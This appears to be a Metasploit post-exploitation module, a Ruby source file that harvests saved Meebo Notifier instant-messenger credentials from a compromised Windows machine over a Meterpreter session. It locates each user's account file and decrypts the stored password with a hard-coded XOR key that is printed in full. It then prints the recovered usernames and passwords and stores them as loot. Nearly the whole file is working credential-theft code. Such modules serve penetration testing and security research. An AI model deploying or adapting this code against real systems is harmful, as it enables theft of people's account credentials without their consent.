126 lines
3.1 KiB
Ruby
126 lines
3.1 KiB
Ruby
##
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#$Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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require 'msf/core/post/windows/user_profiles'
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class Metasploit3 < Msf::Post
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include Msf::Auxiliary::Report
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include Msf::Post::Windows::UserProfiles
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def initialize(info={})
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super( update_info( info,
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'Name' => 'Windows Gather Meebo Password Extractor',
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'Description' => %q{
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This module extracts login account password stored by
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Meebo Notifier, a desktop version of Meebo's Online Messenger.},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Sil3ntDre4m <sil3ntdre4m[at]gmail.com>',
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'SecurityXploded Team <www.SecurityXploded.com>'
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],
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'Version' => '$Revision$',
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'Platform' => [ 'windows' ],
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'SessionTypes' => [ 'meterpreter' ]
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))
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end
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def run
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grab_user_profiles().each do |user|
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accounts = user['AppData'] + "\\Meebo\\MeeboAccounts.txt"
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next if user['AppData'] == nil
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next if accounts.empty?
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stat = session.fs.file.stat(accounts) rescue nil
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next if stat.nil?
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parse_txt(accounts)
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end
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end
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def parse_txt(file)
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begin
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creds = Rex::Ui::Text::Table.new(
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'Header' => 'Meebo Instant Messenger Credentials',
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'Ident' => 1,
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'Columns' =>
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[
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'Protocol',
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'User',
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'Password'
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]
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)
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config = client.fs.file.new(file,'r')
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parse = config.read
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if (parse =~ /"password.{5}(.*)",\s*"protocol.{4}(\d),\s*"username.{5}(.*)"/)
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epass = $1
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protocol = $2.to_i
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username = $3
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else
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print_status("Regex failed...")
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return
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end
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protocol = "Meebo" if protocol == 0
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protocol = "AIM" if protocol == 1
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protocol = "Yahoo IM" if protocol == 2
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protocol = "Windows Live" if protocol == 3
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protocol = "Google Talk" if protocol == 4
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protocol = "ICQ" if protocol == 5
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protocol = "Jabber" if protocol == 6
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protocol = "Myspace IM" if protocol == 7
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passwd = decrypt(epass)
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print_good("*** Protocol: #{protocol} User: #{username} Password: #{passwd} ***")
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creds << [protocol, username, passwd]
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config.close
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if passwd == nil or username == nil
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print_status("Meebo credentials have not been found")
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else
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print_status("Storing data...")
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path = store_loot(
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'meebo.user.creds',
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'text/plain',
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session,
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creds,
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'meebo_user_creds.txt',
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'Meebo Notifier User Credentials'
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)
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print_status("Meebo Notifier user credentials saved in: #{path}")
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end
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rescue ::Exception => e
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print_error("An error has occured: #{e.to_s}")
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end
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end
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def decrypt (epass)
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magicarr = [4,240,122,53,65,19,163,124,109,
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73,187,3,34,93,15,138,11,153,148,147,146,
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222,129,160,199,104,240,43,89,105,204,236,
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253,168,96,48,158,143,173,60,215,104,112,
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149,15,114,107,4,92,149,48,177,42,133,124,
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152,63,137,2,40,84,131]
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plaintext = [epass].pack("H*").unpack("C*")
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for i in 0 .. plaintext.length-1 do
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plaintext[i] ^= magicarr[i]
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end
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return plaintext.pack("C*")
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end
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end
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